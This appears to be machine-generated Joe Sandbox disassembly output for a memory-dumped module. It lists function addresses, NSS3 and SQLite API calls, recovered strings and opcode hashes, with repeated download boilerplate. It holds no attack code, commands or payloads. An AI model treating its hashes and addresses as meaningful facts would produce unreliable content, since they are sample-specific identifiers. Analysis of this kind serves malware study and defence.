Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 0d1e9daeea3eaf9cfc0b2a56a9aefda78d5188bc166b1dc4e77edeca2ed42a38
Instruction ID: ae80b38f9adada36dc30d315bfda92b2a8c32ae16b06ba335cb1722ce2335fca
Opcode Fuzzy Hash: 0d1e9daeea3eaf9cfc0b2a56a9aefda78d5188bc166b1dc4e77edeca2ed42a38
Instruction Fuzzy Hash: DF81B471B016058FCB14CFAAC880ADEB3F6EF48304B158569E815AB751EB35EE45CB60

Function 6CF37F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CF381BC

Strings

BINARY, xrefs: 6CF38126
out of memory, xrefs: 6CF3835B

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 06ac6ec46a5461b40d4ea10c9da8e66a4a785e5b2babf1f0f397b250a2886dd1
Instruction ID: 4679f05722b0c1c6110eab8d16f5947fc207c6d96717bc19203295326f9ae6e1
Opcode Fuzzy Hash: 06ac6ec46a5461b40d4ea10c9da8e66a4a785e5b2babf1f0f397b250a2886dd1
Instruction Fuzzy Hash: 16529071E05228EFDB04CF95C89079EBBB2BF48318F25915AD819EB751D734A846CB90

Function 6CEB9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEB9ED6

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CEB9EE4

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEB9F38

Part of subcall function 6CEBD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CEB9F0B), ref: 6CEBD03B
Part of subcall function 6CEBD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CEBD04E
Part of subcall function 6CEBD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CEBD07B
Part of subcall function 6CEBD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CEBD08E
Part of subcall function 6CEBD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEBD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEB9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CEB9F59

Part of subcall function 6CEB9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CEB9C5B), ref: 6CEB9D82
Part of subcall function 6CEB9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CEB9C5B), ref: 6CEB9DA9
Part of subcall function 6CEB9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CEB9C5B), ref: 6CEB9DCE
Part of subcall function 6CEB9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CEB9C5B), ref: 6CEB9E43

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: ad681ab61a434d2a4b0d9feb227e6abd6553e7e1e6ed84d1ad4b57279f7050fb
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: AA112EB5F042025BF7109BA59D01BBB7374AFA536CF340138E509A7740FB71E5158291

Function 6CF6CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF6D086
PR_Malloc.NSS3(00000001), ref: 6CF6D0B9
PR_Free.NSS3(?), ref: 6CF6D138

Strings

>, xrefs: 6CF6CF5B

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: cd89817002e6fa9c216bba78ebf899c4097fd0a9a6e78f7df101790d3788b131
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: C8D16863B456460BFF14487F8CA03EA77A38792374F784329D1B18BFE5E65988838351

Function 6CF0AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5622cba7d3ff230e48c449a1263356b77bbf1ed239e81fd40799831b957e2b4e
Instruction ID: 038b718ff4557e0522fb19ec867ffdf96d52f861ea86b29221a1f8f374ff5bf2
Opcode Fuzzy Hash: 5622cba7d3ff230e48c449a1263356b77bbf1ed239e81fd40799831b957e2b4e
Instruction Fuzzy Hash: 49F1E071F11216CBDB44CFA9E8A03AEB7F0AB8A708F15862DC905DBB54E7709951CBC1

Function 6CEFDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CDD5001,?,00000003,00000000), ref: 6CEFDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CDD5001,?), ref: 6CEFE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CDD5001,?), ref: 6CEFE2DA

Strings

W, xrefs: 6CEFE111

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: c9cac8aa8bc2e2b3fb4a8f7d791cc44aebc5e009f8c21dc34c66dba36c24fe4b
Instruction ID: 1a1c24aef203e0b66b4133c7287c7976710d08cfc36369be84a75b70ffdbc17b
Opcode Fuzzy Hash: c9cac8aa8bc2e2b3fb4a8f7d791cc44aebc5e009f8c21dc34c66dba36c24fe4b
Instruction Fuzzy Hash: 55C1E972A05A558BDB04CE2A84907AA77B2AF8630CF384169DC79ABB41D731B907C7D1

Function 6CEC0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CEC1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CEC1086

Strings

h(l, xrefs: 6CEC0E55, 6CEC0EC4, 6CEC0F3A, 6CEC0FA7
h(l, xrefs: 6CEC1062, 6CEC105D, 6CEC0F37, 6CEC1081, 6CEC1082

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(l$h(l
API String ID: 1297977491-3413317348
Opcode ID: c2be0475ce87388ab80427cc6f467ca9375471d003633ce3442053cdec90b235
Instruction ID: b03217610fcf25c28dc9852ff98105c8beaccf89fa7c87a2939249d70cd7fdcc
Opcode Fuzzy Hash: c2be0475ce87388ab80427cc6f467ca9375471d003633ce3442053cdec90b235
Instruction Fuzzy Hash: 2DA15E71F0125A9FCF08CF99C991AEEBBB6BF49314B248129E914A7700D735ED41CBA1

Function 6CDE6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

noskipscan*, xrefs: 6CDE7067
sz=[0-9]*, xrefs: 6CDE7049
*?[, xrefs: 6CDE7034, 6CDE7052, 6CDE7070
unordered*, xrefs: 6CDE702B

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 35edbc714b1fb97467fc3ed6a7fba0c3eaec6b3ef9668452698210f88ecba224
Instruction ID: 3a1f72ed639f80ac5f00ef8a6794fcf57e4272639dcdd96c4b8ccd8d8b181344
Opcode Fuzzy Hash: 35edbc714b1fb97467fc3ed6a7fba0c3eaec6b3ef9668452698210f88ecba224
Instruction Fuzzy Hash: 10718D72F042155BEB508F6DC88039E73A29F8D314F260279CD99ABBE2D7719C4687D1

Function 6CE03EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6CE0463F
sqlite_, xrefs: 6CE03FAA, 6CE04185
sqlite_temp_master, xrefs: 6CE0460F

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: fd4af38c4379f0a5892321680a723a5984b809edc8e7de10dbd2b599af686e09
Instruction ID: d30d9fd3342be76e2d3673c37b6c6c8eb2b6f1b7b4c1af071dbb53235fe95007
Opcode Fuzzy Hash: fd4af38c4379f0a5892321680a723a5984b809edc8e7de10dbd2b599af686e09
Instruction Fuzzy Hash: 70228C21B491954FD7418B2682606A67BF2AF6730CB3C559EC9E1AFB42D235EC62C7C0

Function 6CF3BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CF3C0B6

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 10956d8b66f3206d9c0192773c926c5b2077ea470fa7093320979b719871124a
Instruction ID: 200b93c014459b13d53d8f6d1073da226fb1c25805bed40e8a8774b665d64bf1
Opcode Fuzzy Hash: 10956d8b66f3206d9c0192773c926c5b2077ea470fa7093320979b719871124a
Instruction Fuzzy Hash: EC92A475E042299FDB05DF98C890BAEB7B2FF88308F245258D819ABB91D735DC45CB90

Function 6CE138E0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 967COMMON

Download Yara Rule

Strings

., xrefs: 6CE14611

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 91128b78534a4d760ee12ef1ab11db4e09269988eca6c41820445f714066ff23
Instruction ID: 06f1f3e07e99ffb25b3305dab425eb93dba05b36a15260c71eac39f2f1cc76b6
Opcode Fuzzy Hash: 91128b78534a4d760ee12ef1ab11db4e09269988eca6c41820445f714066ff23
Instruction Fuzzy Hash: BC92A275A08219CFDB24CF69C480B99B7B2FF48318F2581AED8499BB52D734D992CF40

Function 6CDD3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CDD3EA9

Strings

0, xrefs: 6CDD3DAB

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: e206e8075cf232ea3d26ba7d57eb4888cdc14b61bc1bf052ca13c5165b0a1ee1
Instruction ID: 968a970a3b7f3e6c654d29c734f5f23d89b1dc785894eb639c9e5ea511a84f0f
Opcode Fuzzy Hash: e206e8075cf232ea3d26ba7d57eb4888cdc14b61bc1bf052ca13c5165b0a1ee1
Instruction Fuzzy Hash: 11518C71E481BACADB158B7D88603FFFBB19B43314F1E4329C5A167AE1D234A54987D0

Function 6CEBF8F0 Relevance: 3.2, APIs: 2, Instructions: 237COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(0000001C,00000000,00000000,00000000), ref: 6CEBFAAA
PR_SetError.NSS3(FFFFE002,00000000,?,?,00000000), ref: 6CEBFB3A

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Errormemcpy
String ID:
API String ID: 4073637842-0
Opcode ID: 4594687e1efa9001d18d7f1d778384336c4304dfe28214115b15220de0493cf5
Instruction ID: cf7a82e4c0d4907dafd4221bc155a766160a51c3e032b76dd62f8e9b719d9e94
Opcode Fuzzy Hash: 4594687e1efa9001d18d7f1d778384336c4304dfe28214115b15220de0493cf5
Instruction Fuzzy Hash: 1781717AA0021A9FDF04CF59C9D0AAEB7B6BF88318F254129E814B7704D735ED55CBA0

Function 6CE7EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CE7F0F9

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 79f5b5c39504a9cafd088fedac836c090385b3ba43379f34af8d7e386435d4f5
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: ED918075A0061A8FCB24CF68C8916AEB7F1FF85324F24472DD962A7BC0D734A905CB61

Function 6CEA2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CEC7929), ref: 6CEA2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CEC7929), ref: 6CEA2FE0

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: eef4b0ceef15c453fa62e87a5ef266947bae55a8e59810b9366837380e0dea8c
Instruction ID: 839fbc09ec54bcec44a55d0b6d34035542b8df8ac99e6b2ee33a637d27338b4c
Opcode Fuzzy Hash: eef4b0ceef15c453fa62e87a5ef266947bae55a8e59810b9366837380e0dea8c
Instruction Fuzzy Hash: E951C171A049118FD7148EEAC8C0B6AB7B1EF4631CF39416AD909AFB02D735E947CB81

Function 6CDEAC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CDEAE9F
winUnlock, xrefs: 6CDEAE18

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 9886d6583174b181628c654ed56484eab0fbb77ebfb9a3c0d00eed93edd9453c
Instruction ID: a32ccecb8038efc36b76c0daca82f5f14c3290d5521c061b06e4c0bbff85ad6c
Opcode Fuzzy Hash: 9886d6583174b181628c654ed56484eab0fbb77ebfb9a3c0d00eed93edd9453c
Instruction Fuzzy Hash: 11718971A18245DFDB44CF28E890BAABBF5FF89314F14CA18F98997311D730A9858BD1

Function 6CEAED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CEAEE3D

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

